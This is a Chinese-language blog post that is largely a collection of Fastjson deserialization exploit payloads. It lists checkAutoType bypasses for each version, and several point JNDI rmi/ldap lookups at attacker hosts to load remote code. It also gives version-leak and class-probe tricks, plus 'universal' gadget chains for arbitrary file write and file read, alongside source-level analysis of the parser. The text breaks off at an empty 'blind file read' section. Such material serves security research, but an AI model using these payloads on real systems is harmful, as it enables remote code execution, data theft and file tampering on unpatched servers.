Diggid's Blog

探索Fastjson反序列化特性和利用方式(长期更新)

字数统计: 9.2k阅读时长: 41 min
2021/12/25 Share

绕过checkAutoType常用链子

针对在autotype开启并使用@type的情况下,绕过checkAutoType

<=1.2.24

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true}

<=1.2.41

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

1
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}

<=1.2.42

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

1
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}

<=1.2.43

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}

<=1.2.45

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

mybatis

1
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1399/Exploit"}}

<=1.2.47

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

1
2
3
4
5
6
7
8
9
10
11
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://x.x.x.x:1999/Exploit",
"autoCommit": true
}
}

<=1.2.62

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

xbean-reflect

1
{"@type":"org.apache.xbean.propertyeditor.org.apache.xbean.propertyeditor.JndiConverter","asText":"rmi://127.0.0.1:1098/exploit"}"

<=1.2.66

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

1
2
3
4
5
6
7
8
9
10
11
shiro-core
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}

Anteros-DBCP
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}

ignite-jta
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}

ibatis
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}

1.2.68 - AutoCloseable

@type要经过ParserConfig#checkAutoType(String typeName, Class<?> expectClass, int features)的检测,第一个参数是实际检测的类,第二个参数是期望类,可以通过以下形式来分别指定期望类expectClass和实际检测的类typeName

1
{"@type":"expectClass","@type":"typeName","field1":"value1",...}

对于checkAutoType,总共出现在两处地方,且主要针对JavaBeanDeserializer,像MiscCodec就无需考虑

  • DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)中:检测期望类是否满足checkAutoType,此时对于期望类的expectClass是null
  • JavaBeanDeserializer#deserialzeArrayMappingJavaBeanDeserializer#deserialze:检测目标类是否满足,此时期望类就是上面的。

对于期望类的checkAutoType,简单看一下

image-20211110093757480

1.2.68版本默认不开启safemode,不会直接返回。首先检测黑名单,期望类不在黑名单里。

然后就从默认初始化的TypeUtils.mappings里找有没有以及缓存的,正好java.lang.AutoCloseable在里面

image-20211110094524905

image-20211110094506481

之后判断从缓存类中取出的类要满足以下条件,才能返回。即:expectClass为空或取出的目标类是HashMap或目标类继承/实现期望类。这里的expectClass为空,所以可以直接返回AutoCloseable。

image-20211110095057818

看一下当期望类是AutoCloseable,目标类的checkAutoType

image-20211109221041513

限制了期望类的类型不能是以下这些,ban掉了大部分的父接口,但是没ban掉AutoCloseable,所以设置expectClassFlag为true

image-20211109221250441

然后就是黑名单检测,这里和expectClass无关。也就是说,只要目标类在黑名单里,即使其满足了前面说的继承/实现于期望类,还是会报错。

过了黑名单检测之后,从缓存拿。拿到的话,就是前面说的需要满足三个条件之一,拿不到就没有这部分逻辑。

然后就是利用ASM解析目标类文件看有没有@JsonType注解。

之后就是是要autoTypeSupport/jsonType/expectClassFlag三者满足其一,就会加载TypeUtils.loadClass加载类

image-20211110100710137

类加载出来后,同时对类做了如下限制。

image-20211110100904583

满足以上限制后,只要目标类是期望类的子类,基本上就绕过结束了,之后就是往mappings缓存,然后return。

image-20211110131852064

所以总结一下,绕过checkAutoType我们需要关注的几个点:

  • 期望类先checkAutoType,期望类需要满足的条件:

    • 只能是初始化白名单中的类或缓存mappings的类,这里的AutoCloseable是缓存中的类

    image-20211110132504111

    image-20211110132515379

    • 不能是Object、Serializable、Cloneable、Closeable、EventListener、Iterable、Collection这几个接口

    image-20211110132830319

  • 目标类需要满足:

    • 目标类不能在黑名单中

    image-20211110132733634

    • 目标类不能继承/实现ClassLoader、DataSource、RowSet。这里不同版本,ban掉的类可能不一样,比如51版本就有漏网之鱼RowSet,导致jndi注入

    image-20211110132950366

    • 目标类如果不在白名单中,必须继承/实现期望类

      image-20211110133024817

Trigger总结

可以调用所有getter/setter的情况

  • 单参数parseObject。相较于其他,多了一层JSON.toJSON

底层实际是parse,如果同时存在getter和setter,则调用setter,如果只存在getter则调用getter。

而JSON.toJSON会调用所有getter

只能调用所有setter/特定getter的情况

  • 多参数parseObject
  • parse

原因是都缺少了单参数parseObject的JSON.toJSON这一步。

突破无法调用getter的限制

寻找序列化过程

序列化为json时会调用所有getter,主要找一下三个函数

  • JSONObject.toString(实际就是JSON.toString)
  • JSON.toJSON
  • JSON.toJSONString

key的JSONObject.toString(版本限制)

  • 有版本限制,具体还没测,反正1.2.47之后不行了
  • 注意区别下面一小节的方法

形式:

1
2
3
4
5
6
{{"a":{对象}}:"b"} 

解析过程如下:
1.{{"a":{对象}}:"b"} 会被认为是一个JSONObject,也就是一整个是一个json对象
2.{"a":{对象}}被认为是key, 类型也为JSONObject,"b"被认为是value
3.当外层是JSONObject时,会调用内层key的toString,即JSONObject.toString

但是高版本时,删去了过程3,如果外层是JSONObject,不对key做任何操作。

MiscCodec中的JSONObject.getString

先看一下JSONObject.getString方法。如果JSONObject是一个map,且调用了getString方法根据key获取的value也是JSONObject的话,就能触发JSONObject.toString()。

image-20211103110322819

image-20211103110343631

所以对应的json应该是

1
2
3
4
5
6
7
8
9
10
11
{
"currency": {
"aaa": {
"@type": "com.diggid.demo.Person",
...
}
}
}

1.key是"currency"
2.value是{"aaa":{}},这是一个JSONObject,对照前面的

而在MiscCodec#deserialze中,在满足一定的条件下,会调用JSONObject.getString('currency')方法,在之前的fastjson利用缓存的方式绕过checkAutoType时,也用到了MiscCodec#deserialize方法,当时是@type指定类为java.lang.Class,从而会调用MiscCodec#deserialize处理,而其中的val键可以用来缓存。而这里用的@type类是java.util.Currency,其对应的解析器MiscCodec。具体来看一下这种情况下的处理方式

  1. 处理val键的部分

这里要求键名只能是val,否则会爆syntax error,然后用parser.parse继续解析val键对应的value部分。假设我们现在解析出的objVal是一个JSONObject。继续往下

image-20211103112248264

  1. 可以看到,如果想要调用JSONObject.getString的话,需要满足
    1. objVal是JSONObject,所以我们上面的假设是必须要实现的。
    2. clazz也就是@type的是java.util.Currency

对于currencycurrencyCode都能够满足我们的条件。

image-20211103113128206

所以最终得到的payload形式如下:

1
2
3
4
5
6
7
8
9
10
11
{
"@type": "java.util.Currency",
"val": {
"currency": {
"aaa": {
"@type": "com.diggid.demo.Person",
...
}
}
}
}

但是使用这种方式有一个弊端,就是会报错,而报错就会导致fastjson后续处理的流程终止,如果使用了$ref引用的话,会导致引用的处理被终止

  • 报错的地方是在调用完所有getter后初始化Currency的地方

image-20211104104839009

image-20211104105105579

  • 处理$ref的位置是在解析之后的,在parse/parseObject解析的过程中如果遇到$ref,则会封装为ResolveTask,在parse之后再调用handleResovleTask来处理。因此如果在此之前出现报错,$ref引用就无法处理,就可能出现使用引用的成员变量为null的情况

image-20211104105622614

StringCodec中的toString

这种方式可以用于把json payload盲插在已知为String类型的变量当中。在解析这个String类型的变量时,会调用StringCodec#deserialze来解析,解析过程很简单,无论是何种非String类型的数据,在最后通通会调用toString方法,因此,只需要让我们的payload部分是JSONObject,就可以触发所有getter了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[{
"userName":{
"abc":{
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///flag"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"charsetName": "UTF-8",
"bytes": [%s]
}]
}
}
}]

上面的userName是String类型的变量

$ref

  • 可以引用对象
  • 可以触发任意指定getter,好处是不会触发多余的getter。
  • 根据路径(context)进行引用,有层级关系,引用的写法有:
引用 描述
“$ref”:”..” 上一级
“$ref”:”@” 当前对象,也就是自引用
“$ref”:”$” 根对象
“$ref”:”$.a.b” 基于路径的引用,比较常用,可以稳定触发某个类的getter
“ref”:”$[n].a[m].b” 带数组情况下的基于路径的引用

这里以A、B类和干扰类User为例,来具体分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
// 类A
package com.diggid.demo;

public class A {
private String name;

public A() {
System.out.println("A noargs called");
}
public A(String name) {
System.out.println("A args called");
this.name = name;
}

public String getName() {
System.out.println("getName called");
return name;
}

public void setName(String name) {
System.out.println("setName called");
this.name = name;
}

public String getNoneA() {
System.out.println("getNoneA called");
return "xxx";
}
}

// 类B
public class B {
private A varA;

public B() {
System.out.println("B noargs called");

}
public A getVarA() {
System.out.println("getVarA called");

return varA;
}

public B(A varA) {
System.out.println("B args called");
this.varA = varA;
}

public void setVarA(A varA) {
System.out.println("setVarA called");

this.varA = varA;
}

public String getNoneB() {
System.out.println("getNoneB called");
return "xxx";
}
}

贴一下关于$ref的处理代码,对于单参数的parseObject,以下面的payload为例来分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"a": {
"@type": "com.diggid.demo.A",
"name": "diggid"
},
"b": {
"@type": "com.diggid.demo.B",
"varA": {
"$ref": "$.a"
},
"xxx": {
"$ref": "$.b.BOM"
}
}
}

对于给的确存在属性调用$ref进行引用赋值和对于不存在的属性进行引用的处理不一样。varA是B的属性,而xxx不是,对于varA的引用处理,在JavaBeanDeserializer#deserialze方法中。以下的分析仅给一些关键性的结论,具体整个分析流程就不说了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
if ("$ref" == key && context != null) {
lexer.nextTokenWithColon(JSONToken.LITERAL_STRING);
token = lexer.token();
if (token == JSONToken.LITERAL_STRING) {
String ref = lexer.stringVal();
if ("@".equals(ref)) {
...
} else if ("..".equals(ref)) {
...
} else if ("$".equals(ref)) {
...
} else {
if (ref.indexOf('\\') > 0) {
StringBuilder buf = new StringBuilder();
for (int i = 0; i < ref.length(); ++i) {
char ch = ref.charAt(i);
if (ch == '\\') {
ch = ref.charAt(++i);
}
buf.append(ch);
}
ref = buf.toString();
}
Object refObj = parser.resolveReference(ref);
if (refObj != null) {
object = refObj;
} else {
parser.addResolveTask(new ResolveTask(context, ref));
parser.resolveStatus = DefaultJSONParser.NeedToResolve;
}
}
} else {
throw new JSONException("illegal ref, " + JSONToken.name(token));
}

...

parser.setContext(context, object, fieldName);

return (T) object;
}

上面这一段处理的是varA这个属性的$ref引用。此时key是$ref,值为$.a,处理的fieldName是varA。直接跟进到parser.resolveReference(ref);方法

1
2
3
4
5
6
7
8
9
10
11
12
public Object resolveReference(String ref) {
if(contextArray == null) {
return null;
}
for (int i = 0; i < contextArray.length && i < contextArrayIndex; i++) {
ParseContext context = contextArray[i];
if (context.toString().equals(ref)) {
return context.object;
}
}
return null;
}

从存储了所有上下文路径的contextArray中取出匹配$ref值的对象context返回

image-20211104140925372

这里的$.a在上下文中对应的就是A对象,符合条件,直接返回该对象。然后后续调用setVarA方法给B对象的varA成员赋值。

xxx这个属性不是B的成员变量,在解析成员变量时不能像varA一样立即处理,具体逻辑的在两个地方,一个是DefaultJSONParser#parseObjet,另一个是等到解析parse完整个B对象之后再调用JSON#handleResovleTask方法来处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
if (key == "$ref"
&& context != null
&& (object == null || object.size() == 0)
&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
lexer.nextToken(JSONToken.LITERAL_STRING);
if (lexer.token() == JSONToken.LITERAL_STRING) {
String ref = lexer.stringVal();
lexer.nextToken(JSONToken.RBRACE);

if (lexer.token() == JSONToken.COMMA) {
map.put(key, ref);
continue;
}

Object refValue = null;
if ("@".equals(ref)) {
...
} else if ("..".equals(ref)) {
...
} else if ("$".equals(ref)) {
...
} else {
addResolveTask(new ResolveTask(context, ref));
setResolveStatus(DefaultJSONParser.NeedToResolve);
}

if (lexer.token() != JSONToken.RBRACE) {
throw new JSONException("syntax error, " + lexer.info());
}
lexer.nextToken(JSONToken.COMMA);

return refValue;
} else {
throw new JSONException("illegal ref, " + JSONToken.name(lexer.token()));
}
}

然后是parse/parseObject完后才进行的handleResovleTask,在JSON#parse完后才调用DefaultJSONParser#handleResovleTask

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
 public void handleResovleTask(Object value) {
if (resolveTaskList == null) {
return;
}

for (int i = 0, size = resolveTaskList.size(); i < size; ++i) {
ResolveTask task = resolveTaskList.get(i);
String ref = task.referenceValue;

Object object = null;
if (task.ownerContext != null) {
object = task.ownerContext.object;
}

Object refValue;

if (ref.startsWith("$")) {
refValue = getObject(ref);
if (refValue == null) {
try {
JSONPath jsonpath = JSONPath.compile(ref);
if (jsonpath.isRef()) {
refValue = jsonpath.eval(value);
}
} catch (JSONPathException ex) {
// skip
}
}
} else {
refValue = task.context.object;
}
...
}
}

大致的过程如下:

  1. 取出$ref对应的值,即$.a$.b.BOM

image-20211104112932763

  1. 对上述@..$$.x.y四种形式的$ref进行处理。前三个就是上面功能的字面意思,重点看一下第四个

    直接把对应的context和$ref的值封装成ResolveTask,添加到resolveTaskList中。

image-20211104113533987

image-20211104113602337

  1. 然后就是handleResovleTask的处理部分了。循环处理之前添加的每一个ResolveTask。取出$ref的值,如果$ref的值在所有对象的引用路径中没有找到,就会进行JSONPath的处理。而我们这里的$.b.BOM肯定在contextArray中是找不到的,因此会调用JSONPath.compileJSONPath.eval来处理。

image-20211104141624947

  1. 继续跟进JSONPath.eval,循环解析JSONPath。我们的引用路径其实就是一个JSONPath,这个必须写对,如果写成$.BOM的话就是调用的根对象来处理了。这个循环经历两次,先取出b作为segement,传入eval解析得currentObjecy为B对象,最后再传入segement为BOM和B对象

image-20211106153209623

image-20211104141818129

  1. 继续跟进Segment.eval方法(Segment就相当于JSONPath路径上的每一段),该方法中进一步调用JSONPath.getPropertyValue方法来解析,其中就会根据BOM在**当前的对象currentObject(这里是B类)**中查找对应的getter(getBOM)来调用,这里就实现了任意getter的调用。注意点就是要写对引用路径

image-20211104142135504

但是$ref有一个局限性,就是在parseObject指定特定类型(双参数)的时候无法稳定触发。上面分析的过程是parseObject解析的对象是预期类型(单参数)的情况,如果指定了类型,最后在JSONPath#eval(rootObject)中由于rootObject是被指定的类型导致后续的解析失败。用下面的payload分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"x":{
"a": {
"@type": "com.diggid.demo.A",
"name": "diggid"
},
"b": {
"@type": "com.diggid.demo.B",
"varA": {
"$ref": "$.a"
},
"xxx": {
"$ref": "$.b.BOM"
}
}
}
}

假设此时的解析语句是JSON.parseObject(payload, User.class)。外包一层"x":{}的目的是为了绕过类型检测。在解析”x”这个属性名时,User对象也没有这个属性,但是fastjson不会停止解析,而是会调用DefaultJSONParser#parseExtra来继续解析,而在parseExtra中又会调用parse来解析,因此和正常的流程就一样了,且x并没有setContext加到context中作为$.x,所以在后续的引用中我们可以忽略掉”x”这一层,所以写的是$.a而不是$.x.a这里要特别注意

对于"x":{}大括号里面的JSONObject的内容就和前面没有指定类型的情况一样了,我们重点关注一下解析完之后handleResolveTask的部分。

仍然还是只有一个ResolveTask

image-20211106154516443

但是在调用JSONPath.eval方法时,传入的rootObject是被指定的类型User.class而不是之前的JSONObject了。

image-20211104160846428

所以当我们解析$.b这一层时,并不能像JSONObject(JSONObject是一个Map,可以看做是任何对象都能作为JSONObject的成员变量)一样正确获取到b属性了,因此后续的$.b.BOM肯定也就失败了。

image-20211106153729950

那有办法可以进一步绕过吗?答案是有的。首先继续走handleResolveTask的引用是行不通的,因为User限制死了成员变量的名称(即$.b这一步肯定是错的),所以我们需要找在解析过程中其他可以触发getter的地方。仔细回想一下,前面的java.util.Currency不正好可以吗,所以可以给出这样的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
"x":{
"@type":"java.util.Currency",
"val":{
"currency":{
"a": {
"@type": "com.diggid.demo.A",
"name": "diggid"
},
"b": {
"@type": "com.diggid.demo.B",
"varA": {
"$ref": "$.a"
},
"xxx": {
"$ref": "$.b.BOM"
}
}
}
}
}
}

此时的json解析流程其实就是拼接起来了,不多赘述了。

构造方法初始化的问题

在看以下内容之前,建议先看一下前置的知识,方便理解:

这里先给出一个Fastjson调用构造方法实例化类并赋值的结论:

  1. Fastjson使用ASM来解析.class文件。
  2. ASMUtils.lookupParameterNames(constructor);用于获取构造方法的参数名,可能会出现这样的情况:明明是有参数,但是拿不到参数名。是因为ASM解析时依赖的本地变量表(LocalVariableTable)在某些jdk版本中并没有提供(即编译.class的时候没有编译进去,需要javac -g vars指定),因此获取不到参数名,所以会出现某些类实际是有构造方法但报错的情况
  3. 使用构造方法来设置属性值的策略:优先调用无参构造方法,如果没有,调用参数最多的有参构造方法,根据参数名传值,当出现有多个参数个数一样的构造方法时,在getDeclaredConstructors()方法返回的构造方法数组中选取最靠前的参数最多的构造方法。因此可能会出现预期传入的参数类型和获取到的构造方法不一致的情况,这时候需要调试看看到底是选了哪个构造方法

针对以上三个问题,来调试一下。

首先所有待解析对象的类信息(包括字段、方法、构造方法等)都是在parse之前,即初始化ParserConfig时确定的,所以整个初始化逻辑在ParserConfig#createJavaBeanDeserializer中,主要看915行的JavaBeanInfo.build方法

这里以ByteArrayInputStreamFileOutputStream来看一下2、3问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"input":{
"@type":"java.lang.AutoCloseable",
"@type": "java.io.ByteArrayInputStream",
"buf":"YWE=",
"offset":0,
"length":2
},
"out":{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"./Evil2.class",
"append":"false"
}
}

本地变量表

第一个解析的是AutoCloseable,这里直接跳过,看ByteArrayInputStream的

image-20211109152609280

跟进,前面获取Field、Method、Constructor和defaultConstructor。特别注意constructors数组中构造方法的顺序,问题2与之有关,但是这里ByteArrayInputStream就两个构造方法,一个单参数,一个三参数,最后选的肯定是三参数那个。

image-20211109152732136

defaultConstructor没有,所以是null。默认不是基于属性来赋值的,所以fieldBased为false,所以fieldBased下的就不看了

image-20211109153622677

然后判断有没有用@JSONCreator注解指定构造方法或者工厂模式,这里也没有。因此直接跳过两个else分支

来到关键的地方,这里遍历构造方法,做以下处理

  • 获取参数类型,对于第一个构造方法,这里是byte[].class,即[B

image-20211109154113991

  • 判断构造方法的可见性,不是public就无了

  • 调用ASMUtils.lookupParameterNames(constructor)来获取构造方法的参数名称。这里就依赖前面所说的符号表。跟进去看一下。

    • 关键在read.accept(visitor),这是标准的ASM操作字节码的实现,其中会解析.class文件的信息。

    image-20211109154509024

    • 直接跟踪到关键位置,即ClassReader#readMethod方法中,由于.class文件没有本地变量表,因此varTable的为0

    image-20211109194842841

    • 所以没办法调用mv.visitLocalVariable(readUTF8(w + 4, c), index);来获取参数名

    image-20211109194942727

    image-20211109195035110

    • 所以回到lookupParameterNames方法中,调用visitor.getParameterNamesForMethod()获取的的参数名是null

image-20211109195210029

  • ASMUtils.lookupParameterNames(constructor)执行完返回null之后,判断如果lookupParameterNames是null则直接continue

image-20211109200816191

  • 当所有方法的参数都是null,则creatorConstructor是null,循环结束后会直接报错:throw new JSONException("default constructor not found. " + clazz);

至此,我们可以知道,在.class文件缺失本地变量表的情况下,fastjson没法通过有参构造方法来设置属性值和实例化

  • 对于jdk类库中的类文件,在jdk <= 1.8下,openjdk和oracle jdk几乎都是缺失本地变量表的,即默认的编译参数只有-g source,lines
  • 少数1.8的情况,在centos下的,通过yum安装的java-1.8.0-openjdk-1.8.0.292.b10-1.el8_4版本,是存在本地变量表的
  • jdk >= 11的版本都有
  • 第三方类库的类文件几乎都是有本地变量表的。所以挖Gadgets最好还是先考虑第三方类库的

选取参数最多最靠前的构造方法

如果有本地变量表,保证获取到对应的参数名,就不会直接continue,会经过以下赋值

image-20211109201242966

从红框处可以知道,最终保存在creatorConstructor中的构造方法是参数最多且在clazz.getDeclaredConstructor获取的Construtor数组中排前面的。

所以如果发现调用的不是和参数名(类型)匹配的预期构造方法,可能是这里的构造方法取错了

其他trick

@type为Map

现在有两种写法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"@type": "com.diggid.demo.B",
"varA": {
"@type": "com.diggid.demo.A",
"name": "diggid"
},
}

{
"a": {
"@type": "com.diggid.demo.A",
"name": "diggid"
},
"b": {
"@type": "com.diggid.demo.B",
"varA": {
"$ref": "$.a"
}
}
}

第一种写法可以触发所有的getter,这是毫无疑问的。回顾一下单参数的parseObject方法就会知道。

image-20211103143419396

而第二种写法只能触发所有setter,因为第二种写法被认为是一个JSONObject,所以在单参数parseObject方法中不会继续调用JSON.toJSON(obj),而是直接返回

image-20211103144415046

解决第二种无法触发的办法是加一个"@type": "java.util.Map"即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"@type": "java.util.Map",
"a": {
"@type": "com.diggid.demo.A",
"name": "diggid"
},
"b": {
"@type": "com.diggid.demo.B",
"varA": {
"$ref": "$.a"
}
}
}

首先直观上看"@type": "java.util.Map"解决了我们的主要问题就是返回的obj不会是JSONObject了,而是被显示的指定为Map,而对于Map的处理是(猜一下也能猜个大概了),取出每一个value,调用其toJSON方法,这就和正常传入的第一种形式是一样的处理了。具体来看一下

返回值是一个HashMap

image-20211103145034393

对每一个value自递归调用toJSON方法,所以这时作为键值的A对象就和直接传入的A对象没有差别了,在其中就会调用所有的getter方法。

image-20211103145123377

fuzz思路

畸形json报错泄露版本

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze()方法处,解析出错时会往错误信息中添加fastjson-version,在有错误回显的情况下,可以通过一些特性的畸形json来使得错误信息中包含fastjson-version。

image-20211117192749883

image-20211117185819295

稳定的报错回显版本的payload如下,注意最后的点

1
2
3
4
5
{
"a": {
"@type": "java.lang.AutoCloseable"!
}
}

其实也很简单,满足这以下条件即可(主要看buf.append(", fastjson-version ")前面的逻辑即可)

  • JavaBeanDeserializer#deserialze解析前不能报错,也就是说畸形构造最好不要放在前面
  • 触发报错的字符不能是{ ,

所以可以!也可以换为.[

@type探测类

在有错误回显或者bool回显的情况下,可以通过@type指定类的回显情况来判断该类是否存在

1
2
3
4
5
6
{
"a": {
"@type": "java.lang.AutoCloseable",
"@type": "探测的类"
}
}

会出现以下两种回显情况

  • 正常回显:该类存在,且是AutoCloseable的实现子类
  • 错误回显:该类不存在或不是AutoCloseable的实现子类。

综合的payload

为了实现对于任意解析情况都能兼容触发的payload,即通杀任意一种JSON解析的写法,可以调用任意setter/指定getter/任意构造方法。

任意的解析情况:

1
2
3
JSON.parseObject(payload)
JSON.parseObject(payload, Xxx.class) //指定类型
JSON.parse(payload)

解决的问题:

  • 解决指定类型:外包一层{"xxx":{实际的payload}}。原因是:指定类型反序列化时,不论参数指定的类型是否对应,fastjson都会去创建对象,并处理相关内容,之后再返回时再进行类型的封装转换,因此不影响实际触发的流程
  • 解决任意getXXX方法(只要是符合getter的命名格式,不需要有对应属性)调用:
    • 使用$ref。多参数的时候$ref只有引用作用,而不能触发getter
    • 指定类为java.util.Currency

默认满足的特性:

  • 解析时能够优先调用无参构造方法,如果没有,当满足autoType的情况下(checkAutoType过),调用参数最多的有参构造方法(具体可以看JavaBeanInfo.build方法)
  • fastjson不根据属性来解析,而是根据getter来解析,且getter也一定是要有对应的属性,只需满足getter命名规范的都可能被调用到

所以最终得到的通杀payload

嵌套 + java.util.Currency

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
{
"a": {
"@type": "java.util.Currency",
"val": {
"currency": {
"b": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"@type": "org.apache.commons.io.input.CharSequenceInputStream",
"charset": "UTF-8",
"bufferSize": 4,
"s": { "@type": "java.lang.String""%s"
},
"closeBranch": true,
"branch": {
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writeImmediately": true,
"bufferSize": 4,
"charsetName": "UTF-8",
"writer": {
"@type": "org.apache.commons.io.output.FileWriterWithEncoding",
"file": "./target.txt",
"encoding": "UTF-8"
}
}
},
"boms": [{
"charsetName": "UTF-8",
"bytes": [ % s]
}]
}
}
}
}
}

$ref + java.util.Currency

注意如果有数组包裹的话,需要以数组的形式引用,比如$[0].currency.writer这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
{
"a": {
"@type": "java.util.Currency",
"val": {
"currency": {
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.output.FileWriterWithEncoding",
"file": "./target.txt",
"encoding": "UTF-8"
},
"outputStream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writeImmediately": true,
"bufferSize": 4,
"charsetName": "UTF-8",
"writer": {
"$ref": "$.currency.writer"
}
},
"charInputStream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.CharSequenceInputStream",
"charset": "UTF-8",
"bufferSize": 4,
"s": {"@type": "java.lang.String""%s"
},
"teeInputStream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"$ref": "$.currency.charInputStream"
},
"closeBranch": true,
"branch": {
"$ref": "$.currency.outputStream"
}
},
"inputStream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"$ref": "$.currency.teeInputStream"
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [%s]
}
]
}
}
}
}
}

Gadgets汇总

MarshalOutputStream - 原生jdk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"@type": "java.lang.AutoCloseable",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "./xxx",
"append": true
},
"infl": {
"input": {
"array": "eJxLLE5JTCkGAAh5AnE=",
"limit": 14
}
},
"bufLen": "100"
},
"protocolVersion": 1
}
  • 需要本地变量表(LocalVariableTable),jdk<=8的openjdk和oracle jdk默认没有,>=11就有了,centos下的某些jdk8版本有(如java-1.8.0-openjdk-1.8.0.292.b10-1.el8_4)
  • 可以写二进制文件:jar、class等

commons-io2

任意文件写 - 只有第三方依赖的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"@type": "org.apache.commons.io.input.CharSequenceInputStream",
"charset": "UTF-8",
"bufferSize": 4,
"s": { "@type": "java.lang.String""%s" // 大于8192,实际前8192写入
},
"closeBranch": true,
"branch": {
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writeImmediately": true,
"bufferSize": 4,
"charsetName": "UTF-8",
"writer": {
"@type": "org.apache.commons.io.output.FileWriterWithEncoding",
"file": "./target.txt",
"encoding": "UTF-8"
}
}
},
"boms": [{
"charsetName": "UTF-8",
"bytes": [%s]
}]
}
  • 稳定触发
  • 不能写二进制文件(会脏写)
  • 可以任意文件写空

任意文件写 - 有jdk依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"@type": "java.io.ByteArrayInputStream",
"buf": "%s",
"offset": 0,
"length": 8193
},
"closeBranch": true,
"branch": {
"@type": "java.io.BufferedOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "./Evil2.class",
"append": "false"
},
"size": 8192
}
},
"boms": [{
"charsetName": "utf-8",
"bytes": [%s]
}]
}
  • 需要本地变量表
  • 可以写二进制文件

逐字节盲注读文件

1
2
3
4
5
6
7
8
9
10
11
12
13
